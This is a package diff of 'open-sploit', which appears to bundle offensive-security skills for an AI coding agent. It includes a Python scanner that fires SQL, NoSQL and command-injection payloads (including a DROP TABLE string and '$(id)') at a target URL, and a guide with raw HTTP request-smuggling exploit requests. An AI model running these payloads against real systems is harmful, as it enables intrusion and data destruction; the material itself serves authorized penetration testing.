open-sploit 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +75 -0
- package/bin/install.mjs +158 -0
- package/package.json +27 -0
- package/template/agent/offsec.md +53 -0
- package/template/command/target.md +45 -0
- package/template/config/opencode.example.json +46 -0
- package/template/skills/api-security-testing/SKILL.md +61 -0
- package/template/skills/conducting-api-security-testing/LICENSE +201 -0
- package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
- package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
- package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
- package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
- package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
- package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
- package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
- package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
- package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
- package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
- package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
- package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
- package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
- package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
- package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
- package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
- package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
- package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
- package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
- package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
- package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
- package/template/skills/hackerone/SKILL.md +137 -0
- package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
- package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
- package/template/skills/hackerone/tools/__init__.py +0 -0
- package/template/skills/hackerone/tools/csv_parser.py +185 -0
- package/template/skills/hackerone/tools/report_validator.py +285 -0
- package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
- package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
- package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
|
@@ -0,0 +1,142 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""Agent for testing API injection vulnerabilities (SQL, NoSQL, command injection)."""
|
|
3
|
+
|
|
4
|
+
import argparse
|
|
5
|
+
import json
|
|
6
|
+
import urllib.parse
|
|
7
|
+
from datetime import datetime, timezone
|
|
8
|
+
|
|
9
|
+
try:
|
|
10
|
+
import requests
|
|
11
|
+
HAS_REQUESTS = True
|
|
12
|
+
except ImportError:
|
|
13
|
+
HAS_REQUESTS = False
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
SQL_PAYLOADS = [
|
|
17
|
+
"' OR '1'='1", "' OR 1=1--", "'; DROP TABLE users;--",
|
|
18
|
+
"' UNION SELECT NULL,NULL--", "1' AND SLEEP(5)--",
|
|
19
|
+
"admin'--", "' OR ''='",
|
|
20
|
+
]
|
|
21
|
+
|
|
22
|
+
NOSQL_PAYLOADS = [
|
|
23
|
+
'{"$gt":""}', '{"$ne":""}', '{"$regex":".*"}',
|
|
24
|
+
'{"$where":"sleep(5000)"}',
|
|
25
|
+
]
|
|
26
|
+
|
|
27
|
+
COMMAND_INJECTION_PAYLOADS = [
|
|
28
|
+
"; id", "| whoami", "$(id)", "`id`",
|
|
29
|
+
"; sleep 5", "| sleep 5",
|
|
30
|
+
]
|
|
31
|
+
|
|
32
|
+
ERROR_SIGNATURES = {
|
|
33
|
+
"sql": ["sql syntax", "mysql", "postgresql", "sqlite", "ora-", "mssql",
|
|
34
|
+
"unclosed quotation", "quoted string not properly terminated"],
|
|
35
|
+
"nosql": ["bson", "mongodb", "mongoerror", "json parse error"],
|
|
36
|
+
"command": ["sh:", "bash:", "/bin/", "command not found", "uid="],
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
def test_parameter(url, param_name, param_value, payloads, method="GET", headers=None):
|
|
41
|
+
"""Test a single parameter with injection payloads."""
|
|
42
|
+
if not HAS_REQUESTS:
|
|
43
|
+
return []
|
|
44
|
+
findings = []
|
|
45
|
+
baseline_url = f"{url}?{param_name}={urllib.parse.quote(param_value)}"
|
|
46
|
+
try:
|
|
47
|
+
baseline = requests.get(baseline_url, headers=headers, timeout=10, verify=False)
|
|
48
|
+
baseline_len = len(baseline.text)
|
|
49
|
+
baseline_time = baseline.elapsed.total_seconds()
|
|
50
|
+
except requests.RequestException:
|
|
51
|
+
return findings
|
|
52
|
+
|
|
53
|
+
for payload in payloads:
|
|
54
|
+
test_value = urllib.parse.quote(payload)
|
|
55
|
+
try:
|
|
56
|
+
if method == "GET":
|
|
57
|
+
test_url = f"{url}?{param_name}={test_value}"
|
|
58
|
+
resp = requests.get(test_url, headers=headers, timeout=15, verify=False)
|
|
59
|
+
else:
|
|
60
|
+
data = {param_name: payload}
|
|
61
|
+
resp = requests.post(url, json=data, headers=headers, timeout=15, verify=False)
|
|
62
|
+
|
|
63
|
+
resp_text = resp.text.lower()
|
|
64
|
+
indicators = []
|
|
65
|
+
|
|
66
|
+
for category, sigs in ERROR_SIGNATURES.items():
|
|
67
|
+
for sig in sigs:
|
|
68
|
+
if sig in resp_text:
|
|
69
|
+
indicators.append(f"{category}_error: {sig}")
|
|
70
|
+
|
|
71
|
+
if abs(len(resp.text) - baseline_len) > baseline_len * 0.5 and baseline_len > 0:
|
|
72
|
+
indicators.append(f"Response size anomaly: {baseline_len} -> {len(resp.text)}")
|
|
73
|
+
|
|
74
|
+
if resp.elapsed.total_seconds() > baseline_time + 4:
|
|
75
|
+
indicators.append(f"Time-based: {resp.elapsed.total_seconds():.1f}s vs baseline {baseline_time:.1f}s")
|
|
76
|
+
|
|
77
|
+
if indicators:
|
|
78
|
+
findings.append({
|
|
79
|
+
"parameter": param_name,
|
|
80
|
+
"payload": payload,
|
|
81
|
+
"status_code": resp.status_code,
|
|
82
|
+
"indicators": indicators,
|
|
83
|
+
})
|
|
84
|
+
except requests.RequestException:
|
|
85
|
+
continue
|
|
86
|
+
return findings
|
|
87
|
+
|
|
88
|
+
|
|
89
|
+
def scan_api_endpoint(url, params, method="GET", headers=None):
|
|
90
|
+
"""Scan an API endpoint with all injection categories."""
|
|
91
|
+
all_findings = []
|
|
92
|
+
for param_name, param_value in params.items():
|
|
93
|
+
all_findings.extend(test_parameter(url, param_name, param_value, SQL_PAYLOADS, method, headers))
|
|
94
|
+
all_findings.extend(test_parameter(url, param_name, param_value, NOSQL_PAYLOADS, method, headers))
|
|
95
|
+
all_findings.extend(test_parameter(url, param_name, param_value, COMMAND_INJECTION_PAYLOADS, method, headers))
|
|
96
|
+
return all_findings
|
|
97
|
+
|
|
98
|
+
|
|
99
|
+
def main():
|
|
100
|
+
parser = argparse.ArgumentParser(
|
|
101
|
+
description="Test API endpoints for injection vulnerabilities (authorized testing only)"
|
|
102
|
+
)
|
|
103
|
+
parser.add_argument("--url", required=True, help="Target API endpoint URL")
|
|
104
|
+
parser.add_argument("--params", required=True, help="Parameters as key=value,key2=value2")
|
|
105
|
+
parser.add_argument("--method", default="GET", choices=["GET", "POST"])
|
|
106
|
+
parser.add_argument("--header", nargs="*", help="Custom headers as Key:Value")
|
|
107
|
+
parser.add_argument("--output", "-o", help="Output JSON report")
|
|
108
|
+
args = parser.parse_args()
|
|
109
|
+
|
|
110
|
+
print("[*] API Injection Testing Agent")
|
|
111
|
+
print("[!] For authorized security testing only")
|
|
112
|
+
|
|
113
|
+
params = dict(p.split("=", 1) for p in args.params.split(","))
|
|
114
|
+
headers = {}
|
|
115
|
+
if args.header:
|
|
116
|
+
for h in args.header:
|
|
117
|
+
k, _, v = h.partition(":")
|
|
118
|
+
headers[k.strip()] = v.strip()
|
|
119
|
+
|
|
120
|
+
findings = scan_api_endpoint(args.url, params, args.method, headers or None)
|
|
121
|
+
|
|
122
|
+
report = {
|
|
123
|
+
"timestamp": datetime.now(timezone.utc).isoformat(),
|
|
124
|
+
"target": args.url,
|
|
125
|
+
"parameters_tested": list(params.keys()),
|
|
126
|
+
"findings": findings,
|
|
127
|
+
"vulnerability_count": len(findings),
|
|
128
|
+
"risk_level": "CRITICAL" if findings else "LOW",
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
print(f"[*] Tested {len(params)} parameters, found {len(findings)} potential injections")
|
|
132
|
+
|
|
133
|
+
if args.output:
|
|
134
|
+
with open(args.output, "w") as f:
|
|
135
|
+
json.dump(report, f, indent=2)
|
|
136
|
+
print(f"[*] Report saved to {args.output}")
|
|
137
|
+
else:
|
|
138
|
+
print(json.dumps(report, indent=2))
|
|
139
|
+
|
|
140
|
+
|
|
141
|
+
if __name__ == "__main__":
|
|
142
|
+
main()
|
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
|
|
2
|
+
Apache License
|
|
3
|
+
Version 2.0, January 2004
|
|
4
|
+
http://www.apache.org/licenses/
|
|
5
|
+
|
|
6
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
7
|
+
|
|
8
|
+
1. Definitions.
|
|
9
|
+
|
|
10
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
11
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
12
|
+
|
|
13
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
14
|
+
the copyright owner that is granting the License.
|
|
15
|
+
|
|
16
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
17
|
+
other entities that control, are controlled by, or are under common
|
|
18
|
+
control with that entity. For the purposes of this definition,
|
|
19
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
20
|
+
direction or management of such entity, whether by contract or
|
|
21
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
22
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
23
|
+
|
|
24
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
25
|
+
exercising permissions granted by this License.
|
|
26
|
+
|
|
27
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
28
|
+
including but not limited to software source code, documentation
|
|
29
|
+
source, and configuration files.
|
|
30
|
+
|
|
31
|
+
"Object" form shall mean any form resulting from mechanical
|
|
32
|
+
transformation or translation of a Source form, including but
|
|
33
|
+
not limited to compiled object code, generated documentation,
|
|
34
|
+
and conversions to other media types.
|
|
35
|
+
|
|
36
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
37
|
+
Object form, made available under the License, as indicated by a
|
|
38
|
+
copyright notice that is included in or attached to the work
|
|
39
|
+
(an example is provided in the Appendix below).
|
|
40
|
+
|
|
41
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
42
|
+
form, that is based on (or derived from) the Work and for which the
|
|
43
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
44
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
45
|
+
of this License, Derivative Works shall not include works that remain
|
|
46
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
47
|
+
the Work and Derivative Works thereof.
|
|
48
|
+
|
|
49
|
+
"Contribution" shall mean any work of authorship, including
|
|
50
|
+
the original version of the Work and any modifications or additions
|
|
51
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
52
|
+
submitted to the Licensor for inclusion in the Work by the copyright owner
|
|
53
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
54
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
55
|
+
means any form of electronic, verbal, or written communication sent
|
|
56
|
+
to the Licensor or its representatives, including but not limited to
|
|
57
|
+
communication on electronic mailing lists, source code control systems,
|
|
58
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
59
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
60
|
+
excluding communication that is conspicuously marked or otherwise
|
|
61
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
62
|
+
|
|
63
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
64
|
+
on behalf of whom a Contribution has been received by the Licensor and
|
|
65
|
+
subsequently incorporated within the Work.
|
|
66
|
+
|
|
67
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
68
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
69
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
70
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
71
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
72
|
+
Work and such Derivative Works in Source or Object form.
|
|
73
|
+
|
|
74
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
75
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
76
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
77
|
+
(except as stated in this section) patent license to make, have made,
|
|
78
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
79
|
+
where such license applies only to those patent claims licensable
|
|
80
|
+
by such Contributor that are necessarily infringed by their
|
|
81
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
82
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
83
|
+
institute patent litigation against any entity (including a
|
|
84
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
85
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
86
|
+
or contributory patent infringement, then any patent licenses
|
|
87
|
+
granted to You under this License for that Work shall terminate
|
|
88
|
+
as of the date such litigation is filed.
|
|
89
|
+
|
|
90
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
91
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
92
|
+
modifications, and in Source or Object form, provided that You
|
|
93
|
+
meet the following conditions:
|
|
94
|
+
|
|
95
|
+
(a) You must give any other recipients of the Work or
|
|
96
|
+
Derivative Works a copy of this License; and
|
|
97
|
+
|
|
98
|
+
(b) You must cause any modified files to carry prominent notices
|
|
99
|
+
stating that You changed the files; and
|
|
100
|
+
|
|
101
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
102
|
+
that You distribute, all copyright, patent, trademark, and
|
|
103
|
+
attribution notices from the Source form of the Work,
|
|
104
|
+
excluding those notices that do not pertain to any part of
|
|
105
|
+
the Derivative Works; and
|
|
106
|
+
|
|
107
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
108
|
+
distribution, then any Derivative Works that You distribute must
|
|
109
|
+
include a readable copy of the attribution notices contained
|
|
110
|
+
within such NOTICE file, excluding any notices that do not
|
|
111
|
+
pertain to any part of the Derivative Works, in at least one
|
|
112
|
+
of the following places: within a NOTICE text file distributed
|
|
113
|
+
as part of the Derivative Works; within the Source form or
|
|
114
|
+
documentation, if provided along with the Derivative Works; or,
|
|
115
|
+
within a display generated by the Derivative Works, if and
|
|
116
|
+
wherever such third-party notices normally appear. The contents
|
|
117
|
+
of the NOTICE file are for informational purposes only and
|
|
118
|
+
do not modify the License. You may add Your own attribution
|
|
119
|
+
notices within Derivative Works that You distribute, alongside
|
|
120
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
121
|
+
that such additional attribution notices cannot be construed
|
|
122
|
+
as modifying the License.
|
|
123
|
+
|
|
124
|
+
You may add Your own copyright statement to Your modifications and
|
|
125
|
+
may provide additional or different license terms and conditions
|
|
126
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
127
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
128
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
129
|
+
the conditions stated in this License.
|
|
130
|
+
|
|
131
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
132
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
133
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
134
|
+
this License, without any additional terms or conditions.
|
|
135
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
136
|
+
the terms of any separate license agreement you may have executed
|
|
137
|
+
with Licensor regarding such Contributions.
|
|
138
|
+
|
|
139
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
140
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
141
|
+
except as required for reasonable and customary use in describing the
|
|
142
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
143
|
+
|
|
144
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
145
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
146
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
147
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
148
|
+
implied, including, without limitation, any warranties or conditions
|
|
149
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
150
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
151
|
+
appropriateness of using or redistributing the Work and assume any
|
|
152
|
+
risks associated with Your exercise of permissions under this License.
|
|
153
|
+
|
|
154
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
155
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
156
|
+
unless required by applicable law (such as deliberate and grossly
|
|
157
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
158
|
+
liable to You for damages, including any direct, indirect, special,
|
|
159
|
+
incidental, or consequential damages of any character arising as a
|
|
160
|
+
result of this License or out of the use or inability to use the
|
|
161
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
162
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
163
|
+
other commercial damages or losses), even if such Contributor
|
|
164
|
+
has been advised of the possibility of such damages.
|
|
165
|
+
|
|
166
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
167
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
168
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
169
|
+
or other liability obligations and/or rights consistent with this
|
|
170
|
+
License. However, in accepting such obligations, You may act only
|
|
171
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
172
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
173
|
+
defend, and hold each Contributor harmless for any liability
|
|
174
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
175
|
+
of your accepting any such warranty or additional liability.
|
|
176
|
+
|
|
177
|
+
END OF TERMS AND CONDITIONS
|
|
178
|
+
|
|
179
|
+
APPENDIX: How to apply the Apache License to your work.
|
|
180
|
+
|
|
181
|
+
To apply the Apache License to your work, attach the following
|
|
182
|
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
|
183
|
+
replaced with your own identifying information. (Don't include
|
|
184
|
+
the brackets!) The text should be enclosed in the appropriate
|
|
185
|
+
comment syntax for the file format. Please do not remove or change
|
|
186
|
+
the license header comment from a contributed file except when
|
|
187
|
+
necessary.
|
|
188
|
+
|
|
189
|
+
Copyright 2026 mukul975
|
|
190
|
+
|
|
191
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
192
|
+
you may not use this file except in compliance with the License.
|
|
193
|
+
You may obtain a copy of the License at
|
|
194
|
+
|
|
195
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
196
|
+
|
|
197
|
+
Unless required by applicable law or agreed to in writing, software
|
|
198
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
199
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
200
|
+
See the License for the specific language governing permissions and
|
|
201
|
+
limitations under the License.
|
|
@@ -0,0 +1,343 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: exploiting-http-request-smuggling
|
|
3
|
+
description: Detecting and exploiting HTTP request smuggling vulnerabilities caused
|
|
4
|
+
by Content-Length and Transfer-Encoding parsing discrepancies between front-end
|
|
5
|
+
and back-end servers.
|
|
6
|
+
domain: cybersecurity
|
|
7
|
+
subdomain: web-application-security
|
|
8
|
+
tags:
|
|
9
|
+
- penetration-testing
|
|
10
|
+
- request-smuggling
|
|
11
|
+
- http-desync
|
|
12
|
+
- web-security
|
|
13
|
+
- burpsuite
|
|
14
|
+
- owasp
|
|
15
|
+
version: '1.0'
|
|
16
|
+
author: mahipal
|
|
17
|
+
license: Apache-2.0
|
|
18
|
+
nist_csf:
|
|
19
|
+
- PR.PS-01
|
|
20
|
+
- ID.RA-01
|
|
21
|
+
- PR.DS-10
|
|
22
|
+
- DE.CM-01
|
|
23
|
+
mitre_attack:
|
|
24
|
+
- T1190
|
|
25
|
+
- T1059.007
|
|
26
|
+
- T1505.003
|
|
27
|
+
- T1083
|
|
28
|
+
---
|
|
29
|
+
|
|
30
|
+
# Exploiting HTTP Request Smuggling
|
|
31
|
+
|
|
32
|
+
## When to Use
|
|
33
|
+
|
|
34
|
+
- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN
|
|
35
|
+
- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)
|
|
36
|
+
- For assessing applications for HTTP desynchronization vulnerabilities
|
|
37
|
+
- When other attack vectors are limited and you need to bypass front-end security controls
|
|
38
|
+
- During security assessments of multi-tier web architectures
|
|
39
|
+
|
|
40
|
+
## Prerequisites
|
|
41
|
+
|
|
42
|
+
- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)
|
|
43
|
+
- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)
|
|
44
|
+
- **smuggler.py**: Automated HTTP request smuggling detection tool
|
|
45
|
+
- **curl**: Compiled with HTTP/1.1 support and manual chunked encoding
|
|
46
|
+
- **Target architecture knowledge**: Understanding of proxy/server chain (front-end and back-end)
|
|
47
|
+
- **Caution**: Request smuggling can affect other users' requests; test carefully
|
|
48
|
+
|
|
49
|
+
## Workflow
|
|
50
|
+
|
|
51
|
+
### Step 1: Identify the HTTP Architecture
|
|
52
|
+
|
|
53
|
+
Determine the proxy/server chain and HTTP parsing characteristics.
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
# Identify front-end proxy/CDN
|
|
57
|
+
curl -s -I "https://target.example.com/" | grep -iE \
|
|
58
|
+
"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"
|
|
59
|
+
|
|
60
|
+
# Common architectures:
|
|
61
|
+
# Cloudflare → Nginx → Application
|
|
62
|
+
# AWS ALB → Apache → Application
|
|
63
|
+
# HAProxy → Gunicorn → Python app
|
|
64
|
+
# Nginx → Node.js/Express
|
|
65
|
+
# Akamai → IIS → .NET app
|
|
66
|
+
|
|
67
|
+
# Check HTTP version support
|
|
68
|
+
curl -s -I --http1.1 "https://target.example.com/" | head -1
|
|
69
|
+
curl -s -I --http2 "https://target.example.com/" | head -1
|
|
70
|
+
|
|
71
|
+
# Check if Transfer-Encoding is supported
|
|
72
|
+
curl -s -X POST \
|
|
73
|
+
-H "Transfer-Encoding: chunked" \
|
|
74
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
75
|
+
-d "0\r\n\r\n" \
|
|
76
|
+
"https://target.example.com/" -w "%{http_code}"
|
|
77
|
+
|
|
78
|
+
# Check for HTTP/2 downgrade to HTTP/1.1 on backend
|
|
79
|
+
# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
### Step 2: Test for CL.TE Smuggling
|
|
83
|
+
|
|
84
|
+
The front-end uses Content-Length, the back-end uses Transfer-Encoding.
|
|
85
|
+
|
|
86
|
+
```
|
|
87
|
+
# In Burp Suite Repeater, disable "Update Content-Length" option
|
|
88
|
+
# Send the following request manually:
|
|
89
|
+
|
|
90
|
+
POST / HTTP/1.1
|
|
91
|
+
Host: target.example.com
|
|
92
|
+
Content-Length: 13
|
|
93
|
+
Transfer-Encoding: chunked
|
|
94
|
+
|
|
95
|
+
0
|
|
96
|
+
|
|
97
|
+
SMUGGLED
|
|
98
|
+
|
|
99
|
+
# If vulnerable (CL.TE):
|
|
100
|
+
# Front-end reads 13 bytes (Content-Length), forwards entire request
|
|
101
|
+
# Back-end reads chunked: "0\r\n\r\n" = end of body
|
|
102
|
+
# "SMUGGLED" becomes the start of the next request
|
|
103
|
+
|
|
104
|
+
# Detection technique: Time-based
|
|
105
|
+
# If back-end reads chunked and sees incomplete chunk, it waits:
|
|
106
|
+
|
|
107
|
+
POST / HTTP/1.1
|
|
108
|
+
Host: target.example.com
|
|
109
|
+
Content-Length: 4
|
|
110
|
+
Transfer-Encoding: chunked
|
|
111
|
+
|
|
112
|
+
1
|
|
113
|
+
A
|
|
114
|
+
X
|
|
115
|
+
|
|
116
|
+
# If response is delayed (~5-10 seconds), CL.TE is likely
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
### Step 3: Test for TE.CL Smuggling
|
|
120
|
+
|
|
121
|
+
The front-end uses Transfer-Encoding, the back-end uses Content-Length.
|
|
122
|
+
|
|
123
|
+
```
|
|
124
|
+
# Burp Repeater - disable "Update Content-Length"
|
|
125
|
+
|
|
126
|
+
POST / HTTP/1.1
|
|
127
|
+
Host: target.example.com
|
|
128
|
+
Content-Length: 3
|
|
129
|
+
Transfer-Encoding: chunked
|
|
130
|
+
|
|
131
|
+
8
|
|
132
|
+
SMUGGLED
|
|
133
|
+
0
|
|
134
|
+
|
|
135
|
+
|
|
136
|
+
# If vulnerable (TE.CL):
|
|
137
|
+
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
|
|
138
|
+
# Back-end reads 3 bytes of Content-Length: "8\r\n"
|
|
139
|
+
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix
|
|
140
|
+
|
|
141
|
+
# Detection via differential response:
|
|
142
|
+
POST / HTTP/1.1
|
|
143
|
+
Host: target.example.com
|
|
144
|
+
Content-Length: 6
|
|
145
|
+
Transfer-Encoding: chunked
|
|
146
|
+
|
|
147
|
+
0
|
|
148
|
+
|
|
149
|
+
X
|
|
150
|
+
|
|
151
|
+
# Front-end (TE): reads "0\r\n\r\n", sees end
|
|
152
|
+
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
|
|
153
|
+
# Next request gets "X" prepended, causing 400/405 errors
|
|
154
|
+
```
|
|
155
|
+
